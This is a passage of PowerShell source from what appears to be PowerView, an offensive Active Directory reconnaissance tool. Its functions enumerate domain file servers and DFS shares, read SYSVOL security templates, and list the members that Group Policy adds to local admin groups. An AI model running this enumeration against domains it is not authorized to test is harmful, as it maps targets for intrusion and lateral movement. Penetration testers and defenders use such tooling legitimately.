  5825.                         $SearcherArguments['Identity'] = $MemberDN
  5826.                         $Null = $SearcherArguments.Remove('Properties')
  5827.                         Get-DomainGroupMember @SearcherArguments
  5828.                     }
  5829.                 }
  5830.             }
  5831.             $GroupSearcher.dispose()
  5832.         }
  5833.     }
  5834. }
  5835.  
  5836. function Get-DomainFileServer {
  5837.  
  5838.  
  5839.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5840.     [OutputType([String])]
  5841.     [CmdletBinding()]
  5842.     Param(
  5843.         [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  5844.         [ValidateNotNullOrEmpty()]
  5845.         [Alias('DomainName', 'Name')]
  5846.         [String[]]
  5847.         $Domain,
  5848.  
  5849.         [ValidateNotNullOrEmpty()]
  5850.         [Alias('Filter')]
  5851.         [String]
  5852.         $LDAPFilter,
  5853.  
  5854.         [ValidateNotNullOrEmpty()]
  5855.         [Alias('ADSPath')]
  5856.         [String]
  5857.         $SearchBase,
  5858.  
  5859.         [ValidateNotNullOrEmpty()]
  5860.         [Alias('DomainController')]
  5861.         [String]
  5862.         $Server,
  5863.  
  5864.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  5865.         [String]
  5866.         $SearchScope = 'Subtree',
  5867.  
  5868.         [ValidateRange(1, 10000)]
  5869.         [Int]
  5870.         $ResultPageSize = 200,
  5871.  
  5872.         [ValidateRange(1, 10000)]
  5873.         [Int]
  5874.         $ServerTimeLimit,
  5875.  
  5876.         [Switch]
  5877.         $Tombstone,
  5878.  
  5879.         [Management.Automation.PSCredential]
  5880.         [Management.Automation.CredentialAttribute()]
  5881.         $Credential = [Management.Automation.PSCredential]::Empty
  5882.     )
  5883.  
  5884.     BEGIN {
  5885.         function Split-Path {
  5886.             # short internal helper to split UNC server paths
  5887.             Param([String]$Path)
  5888.  
  5889.             if ($Path -and ($Path.split('\\').Count -ge 3)) {
  5890.                 $Temp = $Path.split('\\')[2]
  5891.                 if ($Temp -and ($Temp -ne '')) {
  5892.                     $Temp
  5893.                 }
  5894.             }
  5895.         }
  5896.  
  5897.         $SearcherArguments = @{
  5898.             'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
  5899.             'Properties' = 'homedirectory,scriptpath,profilepath'
  5900.         }
  5901.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5902.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5903.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5904.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5905.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5906.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5907.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5908.     }
  5909.  
  5910.     PROCESS {
  5911.         if ($PSBoundParameters['Domain']) {
  5912.             ForEach ($TargetDomain in $Domain) {
  5913.                 $SearcherArguments['Domain'] = $TargetDomain
  5914.                 $UserSearcher = Get-DomainSearcher @SearcherArguments
  5915.                 # get all results w/o the pipeline and uniquify them (I know it's not pretty)
  5916.                 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
  5917.             }
  5918.         }
  5919.         else {
  5920.             $UserSearcher = Get-DomainSearcher @SearcherArguments
  5921.             $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
  5922.         }
  5923.     }
  5924. }
  5925.  
  5926. function Get-DomainDFSShare {
  5927.  
  5928.  
  5929.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5930.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  5931.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
  5932.     [OutputType('System.Management.Automation.PSCustomObject')]
  5933.     [CmdletBinding()]
  5934.     Param(
  5935.         [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  5936.         [ValidateNotNullOrEmpty()]
  5937.         [Alias('DomainName', 'Name')]
  5938.         [String[]]
  5939.         $Domain,
  5940.  
  5941.         [ValidateNotNullOrEmpty()]
  5942.         [Alias('ADSPath')]
  5943.         [String]
  5944.         $SearchBase,
  5945.  
  5946.         [ValidateNotNullOrEmpty()]
  5947.         [Alias('DomainController')]
  5948.         [String]
  5949.         $Server,
  5950.  
  5951.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  5952.         [String]
  5953.         $SearchScope = 'Subtree',
  5954.  
  5955.         [ValidateRange(1, 10000)]
  5956.         [Int]
  5957.         $ResultPageSize = 200,
  5958.  
  5959.         [ValidateRange(1, 10000)]
  5960.         [Int]
  5961.         $ServerTimeLimit,
  5962.  
  5963.         [Switch]
  5964.         $Tombstone,
  5965.  
  5966.         [Management.Automation.PSCredential]
  5967.         [Management.Automation.CredentialAttribute()]
  5968.         $Credential = [Management.Automation.PSCredential]::Empty,
  5969.  
  5970.         [ValidateSet('All', 'V1', '1', 'V2', '2')]
  5971.         [String]
  5972.         $Version = 'All'
  5973.     )
  5974.  
  5975.     BEGIN {
  5976.         $SearcherArguments = @{}
  5977.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5978.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5979.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5980.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5981.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5982.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5983.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5984.  
  5985.         function Parse-Pkt {
  5986.             [CmdletBinding()]
  5987.             Param(
  5988.                 [Byte[]]
  5989.                 $Pkt
  5990.             )
  5991.  
  5992.             $bin = $Pkt
  5993.             $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
  5994.             $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
  5995.             $offset = 8
  5996.             #https://msdn.microsoft.com/en-us/library/cc227147.aspx
  5997.             $object_list = @()
  5998.             for($i=1; $i -le $blob_element_count; $i++){
  5999.                 $blob_name_size_start = $offset
  6000.                 $blob_name_size_end = $offset + 1
  6001.                 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
  6002.  
  6003.                 $blob_name_start = $blob_name_size_end + 1
  6004.                 $blob_name_end = $blob_name_start + $blob_name_size - 1
  6005.                 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
  6006.  
  6007.                 $blob_data_size_start = $blob_name_end + 1
  6008.                 $blob_data_size_end = $blob_data_size_start + 3
  6009.                 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
  6010.  
  6011.                 $blob_data_start = $blob_data_size_end + 1
  6012.                 $blob_data_end = $blob_data_start + $blob_data_size - 1
  6013.                 $blob_data = $bin[$blob_data_start..$blob_data_end]
  6014.                 switch -wildcard ($blob_name) {
  6015.                     "\siteroot" {  }
  6016.                     "\domainroot*" {
  6017.                         # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
  6018.                         # DFSRootOrLinkIDBlob
  6019.                         $root_or_link_guid_start = 0
  6020.                         $root_or_link_guid_end = 15
  6021.                         $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
  6022.                         $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
  6023.                         $prefix_size_start = $root_or_link_guid_end + 1
  6024.                         $prefix_size_end = $prefix_size_start + 1
  6025.                         $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
  6026.                         $prefix_start = $prefix_size_end + 1
  6027.                         $prefix_end = $prefix_start + $prefix_size - 1
  6028.                         $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
  6029.  
  6030.                         $short_prefix_size_start = $prefix_end + 1
  6031.                         $short_prefix_size_end = $short_prefix_size_start + 1
  6032.                         $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
  6033.                         $short_prefix_start = $short_prefix_size_end + 1
  6034.                         $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
  6035.                         $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
  6036.  
  6037.                         $type_start = $short_prefix_end + 1
  6038.                         $type_end = $type_start + 3
  6039.                         $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
  6040.  
  6041.                         $state_start = $type_end + 1
  6042.                         $state_end = $state_start + 3
  6043.                         $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
  6044.  
  6045.                         $comment_size_start = $state_end + 1
  6046.                         $comment_size_end = $comment_size_start + 1
  6047.                         $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
  6048.                         $comment_start = $comment_size_end + 1
  6049.                         $comment_end = $comment_start + $comment_size - 1
  6050.                         if ($comment_size -gt 0)  {
  6051.                             $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
  6052.                         }
  6053.                         $prefix_timestamp_start = $comment_end + 1
  6054.                         $prefix_timestamp_end = $prefix_timestamp_start + 7
  6055.                         # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
  6056.                         $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
  6057.                         $state_timestamp_start = $prefix_timestamp_end + 1
  6058.                         $state_timestamp_end = $state_timestamp_start + 7
  6059.                         $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
  6060.                         $comment_timestamp_start = $state_timestamp_end + 1
  6061.                         $comment_timestamp_end = $comment_timestamp_start + 7
  6062.                         $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
  6063.                         $version_start = $comment_timestamp_end  + 1
  6064.                         $version_end = $version_start + 3
  6065.                         $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
  6066.  
  6067.                         # Parse rest of DFSNamespaceRootOrLinkBlob here
  6068.                         $dfs_targetlist_blob_size_start = $version_end + 1
  6069.                         $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
  6070.                         $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
  6071.  
  6072.                         $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
  6073.                         $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
  6074.                         $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
  6075.                         $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
  6076.                         $reserved_blob_size_end = $reserved_blob_size_start + 3
  6077.                         $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
  6078.  
  6079.                         $reserved_blob_start = $reserved_blob_size_end + 1
  6080.                         $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
  6081.                         $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
  6082.                         $referral_ttl_start = $reserved_blob_end + 1
  6083.                         $referral_ttl_end = $referral_ttl_start + 3
  6084.                         $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
  6085.  
  6086.                         #Parse DFSTargetListBlob
  6087.                         $target_count_start = 0
  6088.                         $target_count_end = $target_count_start + 3
  6089.                         $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
  6090.                         $t_offset = $target_count_end + 1
  6091.  
  6092.                         for($j=1; $j -le $target_count; $j++){
  6093.                             $target_entry_size_start = $t_offset
  6094.                             $target_entry_size_end = $target_entry_size_start + 3
  6095.                             $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
  6096.                             $target_time_stamp_start = $target_entry_size_end + 1
  6097.                             $target_time_stamp_end = $target_time_stamp_start + 7
  6098.                             # FILETIME again or special if priority rank and priority class 0
  6099.                             $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
  6100.                             $target_state_start = $target_time_stamp_end + 1
  6101.                             $target_state_end = $target_state_start + 3
  6102.                             $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
  6103.  
  6104.                             $target_type_start = $target_state_end + 1
  6105.                             $target_type_end = $target_type_start + 3
  6106.                             $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
  6107.  
  6108.                             $server_name_size_start = $target_type_end + 1
  6109.                             $server_name_size_end = $server_name_size_start + 1
  6110.                             $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
  6111.  
  6112.                             $server_name_start = $server_name_size_end + 1
  6113.                             $server_name_end = $server_name_start + $server_name_size - 1
  6114.                             $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
  6115.  
  6116.                             $share_name_size_start = $server_name_end + 1
  6117.                             $share_name_size_end = $share_name_size_start + 1
  6118.                             $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
  6119.                             $share_name_start = $share_name_size_end + 1
  6120.                             $share_name_end = $share_name_start + $share_name_size - 1
  6121.                             $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
  6122.  
  6123.                             $target_list += "\\$server_name\$share_name"
  6124.                             $t_offset = $share_name_end + 1
  6125.                         }
  6126.                     }
  6127.                 }
  6128.                 $offset = $blob_data_end + 1
  6129.                 $dfs_pkt_properties = @{
  6130.                     'Name' = $blob_name
  6131.                     'Prefix' = $prefix
  6132.                     'TargetList' = $target_list
  6133.                 }
  6134.                 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
  6135.                 $prefix = $Null
  6136.                 $blob_name = $Null
  6137.                 $target_list = $Null
  6138.             }
  6139.  
  6140.             $servers = @()
  6141.             $object_list | ForEach-Object {
  6142.                 if ($_.TargetList) {
  6143.                     $_.TargetList | ForEach-Object {
  6144.                         $servers += $_.split('\')[2]
  6145.                     }
  6146.                 }
  6147.             }
  6148.  
  6149.             $servers
  6150.         }
  6151.  
  6152.         function Get-DomainDFSShareV1 {
  6153.             [CmdletBinding()]
  6154.             Param(
  6155.                 [String]
  6156.                 $Domain,
  6157.  
  6158.                 [String]
  6159.                 $SearchBase,
  6160.  
  6161.                 [String]
  6162.                 $Server,
  6163.  
  6164.                 [String]
  6165.                 $SearchScope = 'Subtree',
  6166.  
  6167.                 [Int]
  6168.                 $ResultPageSize = 200,
  6169.  
  6170.                 [Int]
  6171.                 $ServerTimeLimit,
  6172.  
  6173.                 [Switch]
  6174.                 $Tombstone,
  6175.  
  6176.                 [Management.Automation.PSCredential]
  6177.                 [Management.Automation.CredentialAttribute()]
  6178.                 $Credential = [Management.Automation.PSCredential]::Empty
  6179.             )
  6180.  
  6181.             $DFSsearcher = Get-DomainSearcher @PSBoundParameters
  6182.  
  6183.             if ($DFSsearcher) {
  6184.                 $DFSshares = @()
  6185.                 $DFSsearcher.filter = '(&(objectClass=fTDfs))'
  6186.  
  6187.                 try {
  6188.                     $Results = $DFSSearcher.FindAll()
  6189.                     $Results | Where-Object {$_} | ForEach-Object {
  6190.                         $Properties = $_.Properties
  6191.                         $RemoteNames = $Properties.remoteservername
  6192.                         $Pkt = $Properties.pkt
  6193.  
  6194.                         $DFSshares += $RemoteNames | ForEach-Object {
  6195.                             try {
  6196.                                 if ( $_.Contains('\') ) {
  6197.                                     New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
  6198.                                 }
  6199.                             }
  6200.                             catch {
  6201.                                 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
  6202.                             }
  6203.                         }
  6204.                     }
  6205.                     if ($Results) {
  6206.                         try { $Results.dispose() }
  6207.                         catch {
  6208.                             Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
  6209.                         }
  6210.                     }
  6211.                     $DFSSearcher.dispose()
  6212.  
  6213.                     if ($pkt -and $pkt[0]) {
  6214.                         Parse-Pkt $pkt[0] | ForEach-Object {
  6215.                             # If a folder doesn't have a redirection it will have a target like
  6216.                             # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
  6217.                             # on 'null' rather than $Null
  6218.                             if ($_ -ne 'null') {
  6219.                                 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
  6220.                             }
  6221.                         }
  6222.                     }
  6223.                 }
  6224.                 catch {
  6225.                     Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
  6226.                 }
  6227.                 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
  6228.             }
  6229.         }
  6230.  
  6231.         function Get-DomainDFSShareV2 {
  6232.             [CmdletBinding()]
  6233.             Param(
  6234.                 [String]
  6235.                 $Domain,
  6236.  
  6237.                 [String]
  6238.                 $SearchBase,
  6239.  
  6240.                 [String]
  6241.                 $Server,
  6242.  
  6243.                 [String]
  6244.                 $SearchScope = 'Subtree',
  6245.  
  6246.                 [Int]
  6247.                 $ResultPageSize = 200,
  6248.  
  6249.                 [Int]
  6250.                 $ServerTimeLimit,
  6251.  
  6252.                 [Switch]
  6253.                 $Tombstone,
  6254.  
  6255.                 [Management.Automation.PSCredential]
  6256.                 [Management.Automation.CredentialAttribute()]
  6257.                 $Credential = [Management.Automation.PSCredential]::Empty
  6258.             )
  6259.  
  6260.             $DFSsearcher = Get-DomainSearcher @PSBoundParameters
  6261.  
  6262.             if ($DFSsearcher) {
  6263.                 $DFSshares = @()
  6264.                 $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
  6265.                 $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
  6266.  
  6267.                 try {
  6268.                     $Results = $DFSSearcher.FindAll()
  6269.                     $Results | Where-Object {$_} | ForEach-Object {
  6270.                         $Properties = $_.Properties
  6271.                         $target_list = $Properties.'msdfs-targetlistv2'[0]
  6272.                         $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
  6273.                         $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
  6274.                             try {
  6275.                                 $Target = $_.InnerText
  6276.                                 if ( $Target.Contains('\') ) {
  6277.                                     $DFSroot = $Target.split('\')[3]
  6278.                                     $ShareName = $Properties.'msdfs-linkpathv2'[0]
  6279.                                     New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
  6280.                                 }
  6281.                             }
  6282.                             catch {
  6283.                                 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
  6284.                             }
  6285.                         }
  6286.                     }
  6287.                     if ($Results) {
  6288.                         try { $Results.dispose() }
  6289.                         catch {
  6290.                             Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
  6291.                         }
  6292.                     }
  6293.                     $DFSSearcher.dispose()
  6294.                 }
  6295.                 catch {
  6296.                     Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
  6297.                 }
  6298.                 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
  6299.             }
  6300.         }
  6301.     }
  6302.  
  6303.     PROCESS {
  6304.         $DFSshares = @()
  6305.  
  6306.         if ($PSBoundParameters['Domain']) {
  6307.             ForEach ($TargetDomain in $Domain) {
  6308.                 $SearcherArguments['Domain'] = $TargetDomain
  6309.                 if ($Version -match 'all|1') {
  6310.                     $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
  6311.                 }
  6312.                 if ($Version -match 'all|2') {
  6313.                     $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
  6314.                 }
  6315.             }
  6316.         }
  6317.         else {
  6318.             if ($Version -match 'all|1') {
  6319.                 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
  6320.             }
  6321.             if ($Version -match 'all|2') {
  6322.                 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
  6323.             }
  6324.         }
  6325.  
  6326.         $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
  6327.     }
  6328. }
  6329.  
  6330. function Get-GptTmpl {
  6331.  
  6332.  
  6333.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  6334.     [OutputType([Hashtable])]
  6335.     [CmdletBinding()]
  6336.     Param (
  6337.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  6338.         [Alias('gpcfilesyspath', 'Path')]
  6339.         [String]
  6340.         $GptTmplPath,
  6341.  
  6342.         [Switch]
  6343.         $OutputObject,
  6344.  
  6345.         [Management.Automation.PSCredential]
  6346.         [Management.Automation.CredentialAttribute()]
  6347.         $Credential = [Management.Automation.PSCredential]::Empty
  6348.     )
  6349.  
  6350.     BEGIN {
  6351.         $MappedPaths = @{}
  6352.     }
  6353.  
  6354.     PROCESS {
  6355.         try {
  6356.             if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  6357.                 $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
  6358.                 if (-not $MappedPaths[$SysVolPath]) {
  6359.                     # map IPC$ to this computer if it's not already
  6360.                     Add-RemoteConnection -Path $SysVolPath -Credential $Credential
  6361.                     $MappedPaths[$SysVolPath] = $True
  6362.                 }
  6363.             }
  6364.  
  6365.             $TargetGptTmplPath = $GptTmplPath
  6366.             if (-not $TargetGptTmplPath.EndsWith('.inf')) {
  6367.                 $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
  6368.             }
  6369.  
  6370.             Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
  6371.  
  6372.             if ($PSBoundParameters['OutputObject']) {
  6373.                 $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
  6374.                 if ($Contents) {
  6375.                     $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
  6376.                     $Contents
  6377.                 }
  6378.             }
  6379.             else {
  6380.                 $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
  6381.                 if ($Contents) {
  6382.                     $Contents['Path'] = $TargetGptTmplPath
  6383.                     $Contents
  6384.                 }
  6385.             }
  6386.         }
  6387.         catch {
  6388.             Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
  6389.         }
  6390.     }
  6391.  
  6392.     END {
  6393.         # remove the SYSVOL mappings
  6394.         $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
  6395.     }
  6396. }
  6397.  
  6398. function Get-GroupsXML {
  6399.  
  6400.  
  6401.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  6402.     [OutputType('PowerView.GroupsXML')]
  6403.     [CmdletBinding()]
  6404.     Param (
  6405.         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  6406.         [Alias('Path')]
  6407.         [String]
  6408.         $GroupsXMLPath,
  6409.  
  6410.         [Management.Automation.PSCredential]
  6411.         [Management.Automation.CredentialAttribute()]
  6412.         $Credential = [Management.Automation.PSCredential]::Empty
  6413.     )
  6414.  
  6415.     BEGIN {
  6416.         $MappedPaths = @{}
  6417.     }
  6418.  
  6419.     PROCESS {
  6420.         try {
  6421.             if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  6422.                 $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
  6423.                 if (-not $MappedPaths[$SysVolPath]) {
  6424.                     # map IPC$ to this computer if it's not already
  6425.                     Add-RemoteConnection -Path $SysVolPath -Credential $Credential
  6426.                     $MappedPaths[$SysVolPath] = $True
  6427.                 }
  6428.             }
  6429.  
  6430.             [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
  6431.  
  6432.             # process all group properties in the XML
  6433.             $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
  6434.  
  6435.                 $Groupname = $_.Properties.groupName
  6436.  
  6437.                 # extract the localgroup sid for memberof
  6438.                 $GroupSID = $_.Properties.groupSid
  6439.                 if (-not $GroupSID) {
  6440.                     if ($Groupname -match 'Administrators') {
  6441.                         $GroupSID = 'S-1-5-32-544'
  6442.                     }
  6443.                     elseif ($Groupname -match 'Remote Desktop') {
  6444.                         $GroupSID = 'S-1-5-32-555'
  6445.                     }
  6446.                     elseif ($Groupname -match 'Guests') {
  6447.                         $GroupSID = 'S-1-5-32-546'
  6448.                     }
  6449.                     else {
  6450.                         if ($PSBoundParameters['Credential']) {
  6451.                             $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
  6452.                         }
  6453.                         else {
  6454.                             $GroupSID = ConvertTo-SID -ObjectName $Groupname
  6455.                         }
  6456.                     }
  6457.                 }
  6458.  
  6459.                 # extract out members added to this group
  6460.                 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
  6461.                     if ($_.sid) { $_.sid }
  6462.                     else { $_.name }
  6463.                 }
  6464.  
  6465.                 if ($Members) {
  6466.                     # extract out any/all filters...I hate you GPP
  6467.                     if ($_.filters) {
  6468.                         $Filters = $_.filters.GetEnumerator() | ForEach-Object {
  6469.                             New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
  6470.                         }
  6471.                     }
  6472.                     else {
  6473.                         $Filters = $Null
  6474.                     }
  6475.  
  6476.                     if ($Members -isnot [System.Array]) { $Members = @($Members) }
  6477.  
  6478.                     $GroupsXML = New-Object PSObject
  6479.                     $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
  6480.                     $GroupsXML | Add-Member Noteproperty 'Filters' $Filters
  6481.                     $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
  6482.                     $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
  6483.                     $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
  6484.                     $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
  6485.                     $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
  6486.                     $GroupsXML
  6487.                 }
  6488.             }
  6489.         }
  6490.         catch {
  6491.             Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
  6492.         }
  6493.     }
  6494.  
  6495.     END {
  6496.         # remove the SYSVOL mappings
  6497.         $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
  6498.     }
  6499. }
  6500.  
  6501. function Get-DomainGPO {
  6502.  
  6503.  
  6504.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  6505.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  6506.     [OutputType('PowerView.GPO')]
  6507.     [OutputType('PowerView.GPO.Raw')]
  6508.     [CmdletBinding(DefaultParameterSetName = 'None')]
  6509.     Param(
  6510.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  6511.         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  6512.         [String[]]
  6513.         $Identity,
  6514.  
  6515.         [Parameter(ParameterSetName = 'ComputerIdentity')]
  6516.         [Alias('ComputerName')]
  6517.         [ValidateNotNullOrEmpty()]
  6518.         [String]
  6519.         $ComputerIdentity,
  6520.  
  6521.         [Parameter(ParameterSetName = 'UserIdentity')]
  6522.         [Alias('UserName')]
  6523.         [ValidateNotNullOrEmpty()]
  6524.         [String]
  6525.         $UserIdentity,
  6526.  
  6527.         [ValidateNotNullOrEmpty()]
  6528.         [String]
  6529.         $Domain,
  6530.  
  6531.         [ValidateNotNullOrEmpty()]
  6532.         [Alias('Filter')]
  6533.         [String]
  6534.         $LDAPFilter,
